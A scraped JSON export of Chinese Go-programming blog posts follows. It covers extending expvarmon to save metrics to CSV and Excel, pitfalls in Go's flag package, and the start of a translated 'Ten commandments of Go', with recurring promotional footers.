s\u0026quot;:0,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:480,\u0026quot;Mallocs\u0026quot;:1,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:512,\u0026quot;Mallocs\u0026quot;:0,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:576,\u0026quot;Mallocs\u0026quot;:3,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:640,\u0026quot;Mallocs\u0026quot;:3,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:704,\u0026quot;Mallocs\u0026quot;:5,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:768,\u0026quot;Mallocs\u0026quot;:0,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:896,\u0026quot;Mallocs\u0026quot;:7,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:1024,\u0026quot;Mallocs\u0026quot;:7,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:1152,\u0026quot;Mallocs\u0026quot;:10,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:1280,\u0026quot;Mallocs\u0026quot;:4,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:1408,\u0026quot;Mallocs\u0026quot;:1,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:1536,\u0026quot;Mallocs\u0026quot;:0,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:1792,\u0026quot;Mallocs\u0026quot;:5,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:2048,\u0026quot;Mallocs\u0026quot;:1,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:2304,\u0026quot;Mallocs\u0026quot;:2,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:2688,\u0026quot;Mallocs\u0026quot;:2,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:3072,\u0026quot;Mallocs\u0026quot;:0,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:3200,\u0026quot;Mallocs\u0026quot;:0,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:3456,\u0026quot;Mallocs\u0026quot;:0,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:4096,\u0026quot;Mallocs\u0026quot;:4,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:4864,\u0026quot;Mallocs\u0026quot;:0,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:5376,\u0026quot;Mallocs\u0026quot;:1,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:6144,\u0026quot;Mallocs\u0026quot;:1,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:6528,\u0026quot;Mallocs\u0026quot;:0,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:6784,\u0026quot;Mallocs\u0026quot;:0,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:6912,\u0026quot;Mallocs\u0026quot;:0,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:8192,\u0026quot;Mallocs\u0026quot;:1,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:9472,\u0026quot;Mallocs\u0026quot;:0,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:9728,\u0026quot;Mallocs\u0026quot;:0,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:10240,\u0026quot;Mallocs\u0026quot;:8,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:10880,\u0026quot;Mallocs\u0026quot;:0,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:12288,\u0026quot;Mallocs\u0026quot;:0,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:13568,\u0026quot;Mallocs\u0026quot;:0,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:14336,\u0026quot;Mallocs\u0026quot;:0,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:16384,\u0026quot;Mallocs\u0026quot;:0,\u0026quot;Frees\u0026quot;:0},{\u0026quot;Size\u0026quot;:18432,\u0026quot;Mallocs\u0026quot;:0,\u0026quot;Frees\u0026quot;:0}]} } 如果我们不使用http.ListenAndServe建立的默认Server呢？expvar包也提供了相应的方法帮助你在自定义http server以及自定义请求路径上使用expvarHandler，我们看看下面示例：\n// expvar_demo2.go package main import ( \u0026quot;expvar\u0026quot; \u0026quot;net/http\u0026quot; ) func main() { mux := http.NewServeMux() mux.Handle(\u0026quot;/mydebug/myvars\u0026quot;, expvar.Handler()) var server = \u0026amp;http.Server{ Addr: \u0026quot;localhost:8081\u0026quot;, Handler: mux, } server.ListenAndServe() } 在这个示例中，我们利用http.ServeMux建立了expvarHandler响应的自定义路径(/mydebug/myvars)，并自定义了一个http.Server，这样当expvar_demo2运行起来后，我们就可以在localhost:8081/mydebug/myvars上获取该应用暴露的指标数据了。\n通过expvar_demo1的输出结果，我们看到expvar默认将命令行字段和runtime包的MemStats结构暴露给外部。我们也可以自定义要暴露到外部的数据，expvar包提供了常用指标类型的便捷接口以帮助我们更容易的自定义要暴露到外部的数据，看下面示例：\n// expvar_demo3.go package main import ( \u0026quot;expvar\u0026quot; _ \u0026quot;expvar\u0026quot; \u0026quot;net/http\u0026quot; ) var ( total *expvar.Int ) func init() { total = expvar.NewInt(\u0026quot;TotalRequest\u0026quot;) } func main() { http.Handle(\u0026quot;/\u0026quot;, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { total.Add(1) w.Write([]byte(\u0026quot;hello, go\\n\u0026quot;)) })) http.ListenAndServe(\u0026quot;:8080\u0026quot;, nil) } 在这个示例中，我们自定义了一个公开指标TotalRequest，用于描述该Server总共处理了多少个请求。我们用*expvar.Int作为TotalRequest的类型，expvar.Int类型提供了并发安全的Add方法，利用该方法我们可以对指标做运算。运行上面示例后，我们就可以获取TotalRequest这个指标了：\n$curl localhost:8080/debug/vars { \u0026quot;TotalRequest\u0026quot;: 2, ... .. } expvar包提供了对外的数据接口，但观测方式却是你决定的。图形化的观测方式是对人类友好的，一位名为divan的gopher开发了expvarmon工具，该工具可以在命令行终端以图形化的方式实时展示特定的指标数据的变化，我们可以执行如下命令实时查看应用指标变化；\n$expvarmon -ports=\u0026quot;http://localhost:8080/debug/vars\u0026quot; -i 1s 命令执行的效果如下：\n如果不指定指标，那么expvarmon默认展示上述图中的memstats的几个指标！\nexpvarmon支持实时获取数据并展示数据的实时变动趋势。但有些时候，我们不仅要看实时趋势，可能还需要将数据存储起来便于事后分析。但expvarmon不支持将数据序列化到磁盘并做历史数据查看和分析。笔者曾提过issue，但作者似乎认为这个项目完成度已经很高了，该项目到2019年后就没有更新了。因此自然也没人理我的issue。我也只能自己动手丰衣足食了。\n2. expvarmon的大致原理 要想基于expvarmon二次开发出支持数据持久化的版本，我们首先需要大致弄清楚expvarmon的工作原理，这里我将其工作原理大致总结为下面这幅示意图：\nexpvarmon执行时的两个命令行标志参数很重要：-ports和-vars。前者决定了expvarmon启动多少个Service(每个Service一个goroutine承载)：\n// https://github.com/divan/expvarmon/blob/master/main.go\nfor _, port := range ports { service := NewService(port, vars) data.Services = append(data.Services, service) } 后者用于指定expvarmon要实时显示的数据项：\n// https://github.com/divan/expvarmon/blob/master/service.go // NewService returns new Service object. func NewService(url url.URL, vars []VarName) *Service { values := make(map[VarName]*Stack) for _, name := range vars { //根据vars建立存储对应var数据的Stack values[VarName(name)] = NewStack() } ... ... } expvar定时采集各个目标app的指标数据\n// https://github.com/divan/expvarmon/blob/master/service.go\nfunc main() { \u0026hellip; \u0026hellip; UpdateAll(ui, data) for { select { case \u0026lt;-tick.C: UpdateAll(ui, data) case e := \u0026lt;-termui.PollEvents(): if e.Type == termui.KeyboardEvent \u0026amp;\u0026amp; e.ID == \u0026ldquo;q\u0026rdquo; { return } if e.Type == termui.ResizeEvent { ui.Update(*data) } } } }\n// UpdateAll collects data from expvars and refreshes UI. func UpdateAll(ui UI, data *UIData) { var wg sync.WaitGroup for _, service := range data.Services { wg.Add(1) go service.Update(\u0026amp;wg) // 每个服务单独获取对应port的数据 } wg.Wait()\ndata.LastTimestamp = time.Now() ui.Update(*data) // 更新并刷新命令行终端ui }\n3. 持久化到csv文件中 大致了解expvarmon的运作原理后，我们就来设计和实现将expvarmon启动后针对每个port得到的指标数据存储到磁盘文件中留待后续分析之用，这里选择持久化到csv文件中，csv文件不仅便于直接打开并肉眼查看，也便于后续转换为其他文件格式，比如：Microsoft的excel文件。\n下面是对expvarmon的设计与实现改动点：\n增加-w命令行标志参数(布尔型)，如果为true，则持久化获取到的指标数据\n// https://github.com/bigwhite/expvarmon/blob/master/main.go var ( \u0026hellip; \u0026hellip; serialize = flag.Bool(\u0026ldquo;w\u0026rdquo;, false, \u0026ldquo;Serialize the data into a disk file\u0026rdquo;) )\n在Service结构中增加持久化数据所需字段\n// https://github.com/bigwhite/expvarmon/blob/master/service.go\n// Service represents constantly updating info about single service. type Service struct { \u0026hellip; \u0026hellip; vars []VarName // for serializing the data // controlled by cmd option: serialize f *os.File w *csv.Writer // csv writer }\nvars用于存储该Service对应的指标名；f为文件名；w是创建的csv.Writer结构。\n在创建Service的时候，根据-w的值来决定是否创建持久化文件：\n// https://github.com/bigwhite/expvarmon/blob/master/service.go func NewService(url url.URL, vars []VarName) *Service { \u0026hellip; \u0026hellip; if *serialize { f, err := os.Create(s.Name + \u0026ldquo;.csv\u0026rdquo;) if err != nil { panic(err) } s.f = f s.w = csv.NewWriter(f)\n// write first record: category line record := []string{\u0026quot;time\u0026quot;} for _, v := range vars { record = append(record, string(v)) } s.w.Write(record) s.w.Flush() } ... ... }\n我们看到：当-w为true时，NewService创建了持久化文件，并用Service的Name+.csv后缀为其命名。文件创建成功后，我们将写入第一行csv数据，这一行数据为数据类别，就像下面这样：\n// 10.10.195.133:8080.csv time,mem:memstats.Alloc,mem:memstats.Sys,mem:memstats.HeapAlloc,mem:memstats.HeapInuse,duration:memstats.PauseNs,duration:memstats.PauseTotalNs 除了第一列为时间(time)外，其余列都是以指标名命名的，如：mem:memstats.Alloc。\n我们在Service的Update方法中定时写入指标数据\n// https://github.com/bigwhite/expvarmon/blob/master/service.go\n// Update updates Service info from Expvar variable. func (s *Service) Update(wg *sync.WaitGroup) { \u0026hellip; \u0026hellip; if *serialize { // serialize the values to csv tm := time.Now().Format(\u0026ldquo;2006-01-02 15:04:05\u0026rdquo;) values := []string{tm} for _, name := range s.vars { values = append(values, s.Value(name)) } s.w.Write(values) s.w.Flush() } }\n增加Service的Close方法以优雅关闭csv文件\n和原expvarmon不同的是，我们二次开发的expvarmon在-w为true时会为每个Service创建一个磁盘文件，这样我们就需要记着在适当的时候优雅的关闭这些csv格式的磁盘文件。\n// https://github.com/bigwhite/expvarmon/blob/master/service.go // Close does some cleanup before service exit func (s *Service) Close() { if *serialize { if s.f != nil { s.f.Close() } } } 我们在程序退出前通过defer来调用Service的关闭方法：\n// https://github.com/bigwhite/expvarmon/blob/master/main.go func main() { ... ... // Init UIData data := NewUIData(vars) for _, port := range ports { service := NewService(port, vars) data.Services = append(data.Services, service) } defer func() { // close service before program exit for _, service := range data.Services { service.Close() } }() ... ... } 按照上述这几点改造后，我们再执行如下命令：\n$expvarmon -ports=\u0026quot;http://10.10.195.133:8080/debug/vars\u0026quot; -i 1s -w=true 我们将得到10.10.195.133:8080.csv文件(如果-ports由多个值组成，那么将生成多个.csv文件)，内容如下：\n$cat 10.10.195.133:8080.csv time,mem:memstats.Alloc,mem:memstats.Sys,mem:memstats.HeapAlloc,mem:memstats.HeapInuse,duration:memstats.PauseNs,duration:memstats.PauseTotalNs 2021-04-09 16:55:58,15MB,88MB,15MB,25MB,159µs,1m50s 2021-04-09 16:55:59,15MB,88MB,15MB,25MB,159µs,1m50s 2021-04-09 16:56:00,15MB,88MB,15MB,25MB,159µs,1m50s 2021-04-09 16:56:01,15MB,88MB,15MB,25MB,159µs,1m50s 2021-04-09 16:56:02,15MB,88MB,15MB,25MB,159µs,1m50s 2021-04-09 16:56:03,15MB,88MB,15MB,25MB,159µs,1m50s 2021-04-09 16:56:04,15MB,88MB,15MB,25MB,159µs,1m50s 2021-04-09 16:56:05,15MB,88MB,15MB,25MB,159µs,1m50s 2021-04-09 16:56:06,15MB,88MB,15MB,25MB,159µs,1m50s 2021-04-09 16:56:07,15MB,88MB,15MB,25MB,159µs,1m50s 2021-04-09 16:56:08,16MB,88MB,16MB,25MB,159µs,1m50s 2021-04-09 16:56:09,15MB,88MB,15MB,25MB,159µs,1m50s 2021-04-09 16:56:10,15MB,88MB,15MB,25MB,159µs,1m50s 2021-04-09 16:56:11,15MB,88MB,15MB,25MB,159µs,1m50s 2021-04-09 16:56:12,15MB,88MB,15MB,25MB,159µs,1m50s 2021-04-09 16:56:13,15MB,88MB,15MB,25MB,159µs,1m50s 2021-04-09 16:56:14,15MB,88MB,15MB,25MB,159µs,1m50s 2021-04-09 16:56:15,15MB,88MB,15MB,25MB,159µs,1m50s 2021-04-09 16:56:16,15MB,88MB,15MB,25MB,159µs,1m50s 2021-04-09 16:56:17,15MB,88MB,15MB,25MB,159µs,1m50s ... ... 4. 将csv数据转换为excel图表 csv存储了各个应用暴露给外部的分时指标数据，但要对这些数据进行分析，我们需要将csv中的数据以可视化的形式展示出来，而excel图表是一个不错的选择。\n为此，我建立了一个csv2xls的工具项目，专门用来将expvarmon生成的csv文件转换为excel图表。\ncsv2xls的用法如下：\n$./csv2xls -h Usage of ./csv2xls: -col int the column which we draw a chart based on, default: 1 (range 0~max-1) (default 1) -i string the name of csv file -o string the name of xls file Examples: ./csv2xls -i xxx.csv ./csv2xls -i xxx.csv -o yyy.xlsx csv2xls将csv文件中的数据读取并存储在xls中，并支持基于其中某列数据生成对应的折线图。以上面的10.10.195.133:8080.csv为例，我们通过命令：csv2xls -i 10.10.195.133:8080.csv即可生成如下excel图表文件：\ncsv2xls使用p著名的excelize(go语言execl操作库)](github.com/360EntSecGroup-Skylar/excelize)生成excel文件。\n5. 小结 至此，我们给expvarmon插上数据持久化的“翅膀”的目的算是初步达到了。但是由于app指标数据千变万化，expvarmon使用的byten包又给解析指标数据单位带来了一些复杂性，因此csv2xls还不完善，后续还有很大的改进的空间。\n支持公开指标持久化的expvarmon的代码在这里(https://github.com/bigwhite/expvarmon)。 csv2xls的代码在这里(https://github.com/bigwhite/csv2xls)。 “Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强。在2021年上半年，部落将策划两个专题系列分享，并且是部落独享哦：\nGo技术书籍的书摘和读书体会系列 Go与eBPF系列 欢迎大家加入！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订\n阅！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/04/14/expvarmon-save-and-convert-to-xlsx/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/expvarmon-save-and-convert-to-xlsx-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/04/14/expvarmon-save-and-convert-to-xlsx\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/04/14/expvarmon-save-and-convert-to-xlsx\"\u003ehttps://tonybai.com/2021/04/14/expvarmon-save-and-convert-to-xlsx\u003c/a\u003e\u003c/p\u003e\n\u003ch3 id=\"1-expvar包与expvarmon\"\u003e1. expvar包与expvarmon\u003c/h3\u003e\n\u003cp\u003eGo在标准库中为暴露Go应用内部指标数据提供了标准的对外接口，这就是\u003ca href=\"https://tip.golang.org/pkg/expvar/\"\u003eexpvar包\u003c/a\u003e。expvar包通过init函数将内置的expvarHandler(一个标准http HandlerFunc)注册到http包ListenAndServe创建的默认Server上。\u003c/p\u003e","title":"给expvarmon插上数据持久化的“翅膀”"},{"content":"\n本文永久链接 – https://tonybai.com/2021/04/12/pitfall-in-std-flag-pkg\nGo语言号称“自带电池(battery-included)”，这意味着Go标准库可开箱即用，为Gopher提供了功能丰富的常用工具包，足以应付多数日常开发所需。尤其在Go语言擅长的领域，Go标准库工具包更是有着广泛的应用。下图是Go官方2020年用户调查的结果：\n我们看到cli(command-line interface)领域开发占据了Go语言应用的Top2位置，仅次于开发API/RPC服务。而普通cli应用的开发总是离不开标准库的flag包。\nflag包估计是很多gopher入门go语言的必经之路。flag使用起来十分简单，功能也不差，常规的命令行程序的flag形式它都支持，比如下面这个示例程序：\n// flag_demo1.go package main import ( \u0026quot;flag\u0026quot; \u0026quot;fmt\u0026quot; ) var ( n = flag.Int(\u0026quot;n\u0026quot;, 1234, \u0026quot;help message for flag n\u0026quot;) ) func main() { flag.Parse() fmt.Printf(\u0026quot;n=%d\\n\u0026quot;, *n) } flag_demo1仅支持一个cmd flag: -n。我们可以像下面这样使用flag_demo1这个cli程序，为变量n传值：\n$go build flag_demo1.go $./flag_demo1 n=1234 //默认值 $./flag_demo1 -n 1111 n=1111 $./flag_demo1 --n 1111 n=1111 // --n和-n是等价的 $./flag_demo1 -n=2222 n=2222 $./flag_demo1 --n=2222 n=2222 我们看到，我们可以使用下面四种形式为一个整型flag变量传参数：\n-n value –n value -n=value –n=value 无论使用哪种形式，它们起到的效果是等价的。\n但是当我们将flag放置在cli应用的最后面时，我们要小心了：\n$./flag_demo1 show -n=2222 n=1234 我们看到虽然我们在命令行因公flag_demo1的参数列表中进行了-n=2222的参数传递，但flag_demo1的flag包直接无视了这次参数传递，而将变量n置为默认值1234了。\n这是因为flag包的命令行参数的解析逻辑是：当碰到第一个非flag参数时，便停止解析。上面命令行执行时传入的“show”并非flag_demo1的flag参数，因此flag包就会在解析完show后停止后面命令行参数(-n=2222)的解析，于是上述命令行就等价于：\n$./flag_demo1 show n=1234 那么n=1234就不足为奇了！这被我称为flag包的第一个“小陷阱”。不仅像“show”这样的非flag参数可以阻断flag包对命令行参数列表的继续解析，单独存在的“-”和“–”也具有同样的“阻断功能”：\n$./flag_demo1 -- -n=2222 n=1234 $./flag_demo1 - -n=2222 n=1234 我们也常在命令行flag参数中使用bool类的参数值，比如下面示例：\n// flag_demo2.go package main import ( \u0026quot;flag\u0026quot; \u0026quot;fmt\u0026quot; ) var ( n = flag.Int(\u0026quot;n\u0026quot;, 1234, \u0026quot;int value for flag n\u0026quot;) b1 = flag.Bool(\u0026quot;b1\u0026quot;, false, \u0026quot;bool value for flag b1\u0026quot;) b2 = flag.Bool(\u0026quot;b2\u0026quot;, false, \u0026quot;bool value for flag b2\u0026quot;) ) func main() { flag.Parse() fmt.Printf(\u0026quot;n=%d\\n\u0026quot;, *n) fmt.Printf(\u0026quot;b1=%t\\n\u0026quot;, *b1) fmt.Printf(\u0026quot;b2=%t\\n\u0026quot;, *b2) } 这个示例中有两个bool型flag参数和一个int型flag参数，我们来运行一下该cli应用：\n$go build flag_demo2.go $./flag_demo2 -b1 true -b2 true -n 2222 n=1234 b1=true b2=false 运行的输出似乎与预期结果不符啊！为什么b2变量的值依旧为false，变量n的值为啥不是2222？难道在多个flag参数下，flag包有bug？其实不是的！\n问题就在于bool类型flag参数的特殊性。由于一些原因，bool类型flag参数不支持“-arg value”形式，只支持下面两种形式：\n-arg -arg=value 我们按bool类型flag参数的正确传递方法再运行一下上面的flag_demo2：\n$./flag_demo2 -b1=true -b2=true -n 2222 n=2222 b1=true b2=true 这回的输出与预期吻合。\n但细心的朋友可能会发现，之前的错误用法：\n$./flag_demo2 -b1 true -b2 true -n 2222 十分有迷惑性！因为变量b1的输出值是符合预期的，这让人误以为flag参数的传递方法是正确无误的。这种“错觉”让gopher不知不觉地掉入了**flag包的第二个“陷阱”**中。而上面的错误flag参数值传递实质上等价于：\n$./flag_demo2 -b1 这就是为什么b1=true，而b2和n均为默认值的原因了！\nflag包是我们日常最广泛使用的标准库包之一，因此务必了解flag包可能被误用的情况，别掉入flag包的“小陷阱”中！陷阱虽小，出事是大，希望这里的分享能帮助大家在日常绕过这些“陷阱”！\n“Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强。在2021年上半年，部落将策划两个专题系列分享，并且是部落独享哦：\nGo技术书籍的书摘和读书体会系列 Go与eBPF系列 欢迎大家加入！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订\n阅！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖\u0026gt;中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/04/12/pitfall-in-std-flag-pkg/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/pitfall-in-std-flag-pkg-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/04/12/pitfall-in-std-flag-pkg\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/04/12/pitfall-in-std-flag-pkg\"\u003ehttps://tonybai.com/2021/04/12/pitfall-in-std-flag-pkg\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.imooc.com/read/87/article/2341\"\u003eGo语言号称“自带电池(battery-included)”\u003c/a\u003e，这意味着Go标准库可开箱即用，为Gopher提供了功能丰富的常用工具包，足以应付多数日常开发所需。尤其在Go语言擅长的领域，Go标准库工具包更是有着广泛的应用。下图是\u003ca href=\"https://blog.golang.org/survey2020-results\"\u003eGo官方2020年用户调查\u003c/a\u003e的结果：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 2\" loading=\"lazy\" src=\"/images/wp-content/uploads/pitfall-in-std-flag-pkg-2.png\"\u003e\u003c/p\u003e\n\u003cp\u003e我们看到cli(\u003ca href=\"http://en.wikipedia.org/wiki/Command-line_interface\"\u003ecommand-line interface\u003c/a\u003e)领域开发占据了Go语言应用的Top2位置，仅次于开发API/RPC服务。而普通cli应用的开发总是离不开标准库的flag包。\u003c/p\u003e","title":"Go标准库flag包的“小陷阱”"},{"content":"\n本文永久链接 – https://tonybai.com/2021/04/09/ten-commandments-of-go\n本文翻译自John Arundel的《Ten commandments of Go》。全文如下：\n作为一名全职的Go语言作家和老师，我花了很多时间和学生们一起，帮助他们写出更清晰、更好、更有用的Go程序。我发现，我给他们的建议可以归纳总结为一套通用原则，在这里我将这些原则分享给大家。\n1. 你应该是无聊的 Go社区喜欢共识(consensus)。比如：Go源代码有一个由gofmt强制执行的统一的代码格式规范。同样，无论你要解决什么问题，通常都有一个标准的、类似于Go行事风格的方法来解决。有时它是标准的方式，因为它是最好的方式，但通常它只是最好的方式，因为它是标准的方式。\n要抵制住创意、时尚或（最糟糕的是）聪明的诱惑，这些不是Go的行事风格。Go行事风格的代码简单、无聊，通常相当啰嗦，而且最重要的是显式的风格(由于这个原因，有些人把Go称为面向显式(obviousness-oriented)风格的编程语言)。\n当有疑问时，请遵循最小惊喜原则。争取做到一目了然。要直截了当，要简单，要显式，要无聊。\n这并不是说在软件工程层面没有展示令人叹为观止的优雅和风格的空间了；当然有。但那是在设计层面上，而不是单个代码行。代码并不重要，它应该以被随时替换。重要的是程序。\n2. 你应该以测试为先 在Go中，一个常见的错误是先写了一些函数(比如：GetDataFromAPI)，然后在考虑如何测试它时不知所措。函数通过网络进行了真正的API调用，它向终端打印东西，它写磁盘文件了，这是一个可怕的的不可测试性的坑。\n不要先写那个函数，而是先写一个测试(比如：TestGetDataFromAPI)。如何写这样一个测试呢？它必须为函数的调用提供一个本地的TLS测试服务器，所以你需要一种方法来注入这种依赖。它要写数据到io.Writer，你同样需要为此注入一个模拟外部世界的本地依赖，比如：bytes.Buffer。\n现在，当你开始编写GetDataFromAPI函数时，一切都将变得很容易了。它的所有依赖关系都被注入，所以它的业务逻辑与它与外部世界的交互和监听方式完全脱钩。\nHTTP handler也是如此。一个HTTP handler的唯一工作是解析请求中的数据，将其传递给某个业务逻辑函数来计算结果，并将结果格式化到ResponseWriter。这几乎不需要测试，所以你的大部分测试将在业务逻辑函数本身，而不是handler。我们知道HTTP的工作原理。\n3. 你应该测试行为，而不是函数 如果你想知道如何在不实际调用API的情况下测试这个函数，那么答案很简单：”不要测试这个函数”。\n你需要测试的不是一些函数，而是一些行为。例如，一个可能是”给定一些用户输入，我可以正确地组合URL并以正确的参数调用API。” 另一个可能是”给定API返回的一些JSON数据，我可以正确地将其解包到某个Go结构体中。”\n当你沿着这样的思路考量问题的解决方法的时候，写测试就容易多了：你可以想象一些这类函数，它们每个函数都会接受一些输入，并产生一些输出，并且很容易给它们编写单元测试。有些事情它们是不会做的，例如进行任何HTTP调用。\n同样，当你试图实现”数据可以持久地存储在数据库中并从数据库中检索”这样的行为时，你可以将其分解成更小的、更可测试的行为。例如，”给定一个Go结构体，我可以正确地生成SQL查询，并将其内容存储到Postgres表中”，或者 “给定一个对象，我可以正确地将结果解析到Go结构体切片中”。不需要mock数据库，不需要真正的数据库！\n4. 你不应制造文书工作 所有的程序都会在某一点上涉及到一些繁琐的、不可避免的数据倒换重组活动；我们可以把所有这类活动归入文书工作的范畴。对程序员来说，唯一的问题是，这些文书工作在API边界的哪一边？\n如果是放在用户侧，那就意味着用户必须编写大量的代码来为你的库准备文书工作，然后再编写大量的代码来将结果解压成有用的格式。\n相反(将文书工作放在API实现侧)，写零文书工作的库，可以在一行中调用：\ngame.Run() 不要让用户调用一个构造函数来获取某个对象，然后再基于这个对象进行方法调用。那就是文书工作。只要让一切在他们直接调用时发生就可以了。如果有可配置的设置，请设置合理的默认值，这样用户根本不用考虑，除非他们因为某些原因需要覆盖默认值。功能选项(functional option)是一个很好的模式。\n这是另一个先写测试的好理由，如果你写的API中创造了文书工作，那么在测试时你将不得不自己做所有的文书工作，以便使用你自己的库。如果这被证明是笨拙、啰嗦和耗时的，可以考虑将这些文书工作移到API边界内。\n5. 你不应该杀死程序 你的库没有权利终止用户的程序。不要在你的包中调用像os.Exit、log.Fatal、panic这样的函数，这不是你能决定的。相反，如果你遇到了不可恢复(recover)的错误，将它们返回给调用者。\n为什么不呢？因为它迫使任何想使用你的库的人去写代码，不管panic是否真的被触发。出于同样的原因，你永远不应该使用会引起panic的第三方库，因为一旦你用了，你就需要recover它们。\n所以你千万不要显式调用(这些可以杀死程序的函数)，但是隐式调用呢？你所做的任何操作，在某些情况下可能会panic（比如：索引一个空的片断，写入一个空map，类型断言失败）都应该先检查一下是否正常，如果不正常就返回一个错误。\n6. 你不要泄露资源 